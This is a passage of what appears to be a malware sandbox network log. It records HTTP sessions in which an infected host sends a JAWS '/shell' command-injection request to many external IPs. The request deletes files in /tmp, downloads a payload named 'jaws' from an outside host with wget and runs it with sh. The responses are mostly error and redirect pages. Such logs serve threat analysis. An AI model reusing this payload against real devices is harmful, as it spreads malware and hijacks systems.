32 35 70 78 3b 63 6f 6c 6f 72 3a 23 46 39 30 7d 2e 4a 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 7d 2e 49 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 7d 2e 48 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 38 70 78 7d 2e 47 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 7d 2e 46 7b 77 69 64 74 68 3a 32 33 30 70 78 3b 66 6c 6f 61 74 3a 6c 65 66 74 7d 2e 45 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 35 70 78 7d 2e 44 7b 6d 61 72 67 69 6e 3a 38 70 78 20 30 20 30 20 2d 32 30 70 78 7d 2e 43 7b 63 6f 6c 6f 72 3a 23 33 43 46 3b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 7d 2e 42 7b 63 6f 6c 6f 72 3a 23 39 30 39 30 39 30 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 35 70 78 7d 2e 41 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 33 30 70 78 7d 2e 68 69 64 65 5f 6d 65 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 3c 2f 73 74 79 6c 65 3e 0a 09 3c 2f 68 65 61 64 3e 0a 09 3c 62 6f 64 79 3e 0a 09 09 3c 64 69 76 20 69 64 3d 22 70 22 20 63 6c 61 73 73 3d 22 50 22 3e 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 4b 22 3e 34 30 33 3c 2f 64 69 76 3e 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 4f 20 49 22 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 64 69 76 3e 0a 09 09 09 3c 70 20 63 6c 61 73 73 3d 22 4a 20 41 20 4c 22 3e 45 72 72 6f 72 20 54 69 6d 65 73 3a 20 53 75 6e 2c 20 31 34 20 41 70 72 20 32 30 32 34 20 30 32 3a 30 30 3a 31 36 20 47 4d 54 0a 09 09 09 09 3c 62 72 3e 0a 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 46 22 3e 49 50 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 3c 2f 73 70 61 6e 3e 4e 6f 64 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 3a 20 50 53 2d 4c 48 52 2d 30 31 34 44 37 33 38 0a 09 09 09 09 3c 62 72 3e 55 52 4c 3a 20 68 74 74 70 3a 2f 2f 31 32 37 2e 30 2e 30 2e 31 2f 73 68 65 6c 6c 3f 63 64 2b 2f 74 6d 70 3b 72 6d 2b 2d 72 66 2b 2a 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 6a 61 77 73 3b 73 68 2b 2f 74 6d 70 2f 6a 61 77 73 0a 09 09 09 09 3c 62 72 3e 52 65 71 75 65 73 74 2d 49 64 3a 20 36 36 31 62 33 38 62 30 5f 50 53 2d 4c 48 52 2d 30 31 34 44 37 33 38 5f 32 37 35 38 32 2d 37 30 32 34 0a 09 09 09 09 3c 62 72 3e 0a 09 09 09 09 3c 62 72 3e Data Ascii: <!DOCTYPE html><html><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>403 Forbidden</title><style type="text/css">body{margin:5% auto 0 auto;padding:0 18px}.P{margin:0 22%}.O{margin-top:20px}.N{margin-top:10px}.M{margin:10px 0 30px 0}.L{margin-bottom:60px}.K{font-size:25px;color:#F90}.J{font-size:14px}.I{font-size:20px}.H{font-size:18px}.G{font-size:16px}.F{width:230px;float:left}.E{margin-top:5px}.D{margin:8px 0 0 -20px}.C{color:#3CF;cursor:pointer}.B{color:#909090;margin-top:15px}.A{line-height:30px}.hide_me{display:none}</style></head><body><div id="p" class="P"><div class="K">403</div><div class="O I">Forbidden</div><p class="J A L">Error Times: Sun, 14 Apr 2024 02:00:16 GMT<br><span class="F">IP: 81.181.54.60</span>Node information: PS-LHR-014D738<br>URL: http://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws<br>Request-Id: 661b38b0_PS-LHR-014D738_27582-7024<br><br>
Apr 14, 2024 04:00:16.211616039 CEST	1010	IN	Data Raw: 43 68 65 63 6b 3a 0a 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 43 20 47 22 20 6f 6e 63 6c 69 63 6b 3d 22 73 28 30 29 22 3e 44 65 74 61 69 6c 73 3c 2f 73 70 61 6e 3e 3c 2f 70 3e 0a 09 09 3c 2f 64 69 76 3e 0a 09 09 3c 64 69 76 20 69 64 3d Data Ascii: Check:<span class="C G" onclick="s(0)">Details</span></p></div><div id="d" class="hide_me P H"><div class="K">ERROR</div><p class="O I">The Requested URL could not be retrieved</p><div class="O"><div>While trying to
Apr 14, 2024 04:00:16.312846899 CEST	1010	IN	Data Raw: 43 68 65 63 6b 3a 0a 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 43 20 47 22 20 6f 6e 63 6c 69 63 6b 3d 22 73 28 30 29 22 3e 44 65 74 61 69 6c 73 3c 2f 73 70 61 6e 3e 3c 2f 70 3e 0a 09 09 3c 2f 64 69 76 3e 0a 09 09 3c 64 69 76 20 69 64 3d Data Ascii: Check:<span class="C G" onclick="s(0)">Details</span></p></div><div id="d" class="hide_me P H"><div class="K">ERROR</div><p class="O I">The Requested URL could not be retrieved</p><div class="O"><div>While trying to

Session ID	Source IP	Source Port	Destination IP	Destination Port
1005	192.168.2.23	43176	34.92.98.240	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:15.916862965 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:16.235075951 CEST	354	IN	HTTP/1.1 302 Found Date: Sun, 14 Apr 2024 02:00:16 GMT Server: Apache X-Powered-By: PHP/7.4.14 X-Frame-Options: SAMEORIGIN Location: http://www2.totalswiss.com.hk/wp-signup.php?new=127.0.0.1 Cache-Control: s-maxage=10 Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
1006	192.168.2.23	46882	52.222.201.190	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:15.921730042 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:16.236475945 CEST	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Sun, 14 Apr 2024 02:00:16 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1007	192.168.2.23	54812	154.89.94.248	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:15.938380957 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 30 3a 30 32 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:00:02Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1008	192.168.2.23	56308	163.171.146.85	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:16.225784063 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:16.545150042 CEST	1289	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Sun, 14 Apr 2024 02:00:16 GMT Content-Type: text/html Content-Length: 2097 Connection: keep-alive x-ws-request-id: 661b38b0_PS-LHR-014D738_27582-7034 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 35 25 20 61 75 74 6f 20 30 20 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 20 31 38 70 78 7d 2e 50 7b 6d 61 72 67 69 6e 3a 30 20 32 32 25 7d 2e 4f 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 7d 2e 4e 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 30 70 78 7d 2e 4d 7b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 33 30 70 78 20 30 7d 2e 4c 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 36 30 70 78 7d 2e 4b 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 35 70 78 3b 63 6f 6c 6f 72 3a 23 46 39 30 7d 2e 4a 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 7d 2e 49 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 7d 2e 48 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 38 70 78 7d 2e 47 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 7d 2e 46 7b 77 69 64 74 68 3a 32 33 30 70 78 3b 66 6c 6f 61 74 3a 6c 65 66 74 7d 2e 45 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 35 70 78 7d 2e 44 7b 6d 61 72 67 69 6e 3a 38 70 78 20 30 20 30 20 2d 32 30 70 78 7d 2e 43 7b 63 6f 6c 6f 72 3a 23 33 43 46 3b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 7d 2e 42 7b 63 6f 6c 6f 72 3a 23 39 30 39 30 39 30 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 35 70 78 7d 2e 41 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 33 30 70 78 7d 2e 68 69 64 65 5f 6d 65 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 3c 2f 73 74 79 6c 65 3e 0a 09 3c 2f 68 65 61 64 3e 0a 09 3c 62 6f 64 79 3e 0a 09 09 3c 64 69 76 20 69 64 3d 22 70 22 20 63 6c 61 73 73 3d 22 50 22 3e 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 4b 22 3e 34 30 33 3c 2f 64 69 76 3e 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 4f 20 49 22 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 64 69 76 3e 0a 09 09 09 3c 70 20 63 6c 61 73 73 3d 22 4a 20 41 20 4c 22 3e 45 72 72 6f 72 20 54 69 6d 65 73 3a 20 53 75 6e 2c 20 31 34 20 41 70 72 20 32 30 32 34 20 30 32 3a 30 30 3a 31 36 20 47 4d 54 0a 09 09 09 09 3c 62 72 3e 0a 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 46 22 3e 49 50 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 3c 2f 73 70 61 6e 3e 4e 6f 64 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 3a 20 50 53 2d 4c 48 52 2d 30 31 34 44 37 33 38 0a 09 09 09 09 3c 62 72 3e 55 52 4c 3a 20 68 74 74 70 3a 2f 2f 31 32 37 2e 30 2e 30 2e 31 2f 73 68 65 6c 6c 3f 63 64 2b 2f 74 6d 70 3b 72 6d 2b 2d 72 66 2b 2a 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 6a 61 77 73 3b 73 68 2b 2f 74 6d 70 2f 6a 61 77 73 0a 09 09 09 09 3c 62 72 3e 52 65 71 75 65 73 74 2d 49 64 3a 20 36 36 31 62 33 38 62 30 5f 50 53 2d 4c 48 52 2d 30 31 34 44 37 33 38 5f 32 37 35 38 32 2d 37 30 33 34 0a 09 09 09 09 3c 62 72 3e 0a 09 09 09 09 3c 62 72 3e Data Ascii: <!DOCTYPE html><html><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>403 Forbidden</title><style type="text/css">body{margin:5% auto 0 auto;padding:0 18px}.P{margin:0 22%}.O{margin-top:20px}.N{margin-top:10px}.M{margin:10px 0 30px 0}.L{margin-bottom:60px}.K{font-size:25px;color:#F90}.J{font-size:14px}.I{font-size:20px}.H{font-size:18px}.G{font-size:16px}.F{width:230px;float:left}.E{margin-top:5px}.D{margin:8px 0 0 -20px}.C{color:#3CF;cursor:pointer}.B{color:#909090;margin-top:15px}.A{line-height:30px}.hide_me{display:none}</style></head><body><div id="p" class="P"><div class="K">403</div><div class="O I">Forbidden</div><p class="J A L">Error Times: Sun, 14 Apr 2024 02:00:16 GMT<br><span class="F">IP: 81.181.54.60</span>Node information: PS-LHR-014D738<br>URL: http://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws<br>Request-Id: 661b38b0_PS-LHR-014D738_27582-7034<br><br>
Apr 14, 2024 04:00:16.545207024 CEST	1010	IN	Data Raw: 43 68 65 63 6b 3a 0a 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 43 20 47 22 20 6f 6e 63 6c 69 63 6b 3d 22 73 28 30 29 22 3e 44 65 74 61 69 6c 73 3c 2f 73 70 61 6e 3e 3c 2f 70 3e 0a 09 09 3c 2f 64 69 76 3e 0a 09 09 3c 64 69 76 20 69 64 3d Data Ascii: Check:<span class="C G" onclick="s(0)">Details</span></p></div><div id="d" class="hide_me P H"><div class="K">ERROR</div><p class="O I">The Requested URL could not be retrieved</p><div class="O"><div>While trying to
Apr 14, 2024 04:00:16.651779890 CEST	1010	IN	Data Raw: 43 68 65 63 6b 3a 0a 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 43 20 47 22 20 6f 6e 63 6c 69 63 6b 3d 22 73 28 30 29 22 3e 44 65 74 61 69 6c 73 3c 2f 73 70 61 6e 3e 3c 2f 70 3e 0a 09 09 3c 2f 64 69 76 3e 0a 09 09 3c 64 69 76 20 69 64 3d Data Ascii: Check:<span class="C G" onclick="s(0)">Details</span></p></div><div id="d" class="hide_me P H"><div class="K">ERROR</div><p class="O I">The Requested URL could not be retrieved</p><div class="O"><div>While trying to
Apr 14, 2024 04:00:16.842740059 CEST	1010	IN	Data Raw: 43 68 65 63 6b 3a 0a 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 43 20 47 22 20 6f 6e 63 6c 69 63 6b 3d 22 73 28 30 29 22 3e 44 65 74 61 69 6c 73 3c 2f 73 70 61 6e 3e 3c 2f 70 3e 0a 09 09 3c 2f 64 69 76 3e 0a 09 09 3c 64 69 76 20 69 64 3d Data Ascii: Check:<span class="C G" onclick="s(0)">Details</span></p></div><div id="d" class="hide_me P H"><div class="K">ERROR</div><p class="O I">The Requested URL could not be retrieved</p><div class="O"><div>While trying to

Session ID	Source IP	Source Port	Destination IP	Destination Port
1009	192.168.2.23	54852	154.89.94.248	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:16.610203981 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 30 3a 30 33 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:00:03Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1010	192.168.2.23	46316	34.36.181.1	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:16.705948114 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:17.597965002 CEST	473	IN	HTTP/1.1 403 Forbidden x-guploader-uploadid: ABPtcPrvg-BbDlIZZgcn5sF2p9mg81jBfRgVP0hmDRK3xTy10BPGyuf3MTDCdd_O8G2_o_G4vaJXT5qdQw content-type: application/xml; charset=UTF-8 Content-Length: 111 date: Sun, 14 Apr 2024 02:00:17 GMT expires: Sun, 14 Apr 2024 02:00:17 GMT cache-control: private, max-age=0 server: UploadServer via: 1.1 google Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 27 31 2e 30 27 20 65 6e 63 6f 64 69 6e 67 3d 27 55 54 46 2d 38 27 3f 3e 3c 45 72 72 6f 72 3e 3c 43 6f 64 65 3e 41 63 63 65 73 73 44 65 6e 69 65 64 3c 2f 43 6f 64 65 3e 3c 4d 65 73 73 61 67 65 3e 41 63 63 65 73 73 20 64 65 6e 69 65 64 2e 3c 2f 4d 65 73 73 61 67 65 3e 3c 2f 45 72 72 6f 72 3e Data Ascii: <?xml version='1.0' encoding='UTF-8'?><Error><Code>AccessDenied</Code><Message>Access denied.</Message></Error>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1011	192.168.2.23	54832	23.51.193.217	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:16.706077099 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:16.877024889 CEST	532	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 310 Expires: Sun, 14 Apr 2024 02:00:16 GMT Date: Sun, 14 Apr 2024 02:00:16 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 39 65 61 34 32 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 31 36 26 23 34 36 3b 31 39 37 36 62 62 30 34 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 39 65 61 34 32 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 31 36 26 23 34 36 3b 31 39 37 36 62 62 30 34 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.9ea4217.1713060016.1976bb04<P>https://errors.edgesuite.net/9.9ea4217.1713060016.1976bb04</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1012	192.168.2.23	33964	23.201.149.71	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:16.750058889 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:16.965231895 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Sun, 14 Apr 2024 02:00:16 GMT Date: Sun, 14 Apr 2024 02:00:16 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 63 66 36 31 32 38 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 31 36 26 23 34 36 3b 31 66 65 38 36 34 36 62 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 63 66 36 31 32 38 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 31 36 26 23 34 36 3b 31 66 65 38 36 34 36 62 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.cf612817.1713060016.1fe8646b<P>https://errors.edgesuite.net/9.cf612817.1713060016.1fe8646b</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1013	192.168.2.23	46822	54.87.176.106	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:16.769308090 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:17.492378950 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:17.724020004 CEST	408	IN	HTTP/1.1 301 Moved Permanently Server: awselb/2.0 Date: Sun, 14 Apr 2024 02:00:17 GMT Content-Type: text/html Content-Length: 134 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1014	192.168.2.23	35366	23.66.220.6	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:16.773979902 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:17.012643099 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Sun, 14 Apr 2024 02:00:16 GMT Date: Sun, 14 Apr 2024 02:00:16 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 38 38 34 30 33 36 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 31 36 26 23 34 36 3b 32 36 36 38 65 33 38 33 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 38 38 34 30 33 36 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 31 36 26 23 34 36 3b 32 36 36 38 65 33 38 33 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference 